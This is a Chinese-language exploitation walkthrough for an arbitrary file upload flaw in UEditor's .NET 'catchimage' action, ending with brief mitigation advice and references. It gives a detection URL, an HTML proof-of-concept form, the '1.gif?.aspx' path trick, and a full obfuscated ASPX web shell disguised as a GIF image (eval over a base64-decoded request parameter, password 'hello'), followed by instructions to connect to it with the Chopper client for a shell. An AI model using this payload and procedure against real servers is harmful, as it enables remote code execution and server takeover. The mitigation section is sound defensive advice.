漏洞介绍

UEditor在抓取远程数据源的时,会进入”catchimage”分支。在该方法使用的CrawlerHandler类中,并未对文件类型进行验证,从而导致了任意文件上传漏洞。

漏洞利用

漏洞检测

访问如下链接 : http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
如出现

image-20210917182153827

则可尝试漏洞利用

漏洞POC

1
2
3
4
<form action="www.XXXX.com.cn/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]"/></p>
<input type="submit" value="submit"/>
</form>

保存其为html文件,action中的url改为检测的链接,打开后上传框输入远程图片马1.gif地址,上传时路径最后改为1.gif?.aspx

image-20210917182836547

图片马1.gif内容如下(密码为hello):

1
GIF89a<script runat="server" language="JScript">   function popup(str) {       var q = "u";       var w = "afe";       var a = q + "ns" + w; var b= eval(str,a); return(b);  }</script><% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

提交后可以看到返回了上传的图片马的地址

image-20210917183134723

image-20210917183236500

接下来使用菜刀连接即可getshell

image-20210917183609744

image-20210917183728147

防御措施

  1. 修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。
  2. 使用各类WAF软件,防止攻击者上传恶意文件。
  3. 检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

参考

https://cert.360.cn/warning/detail?id=15e86d6054f506af058657851a4783c3

https://forum.butian.net/share/167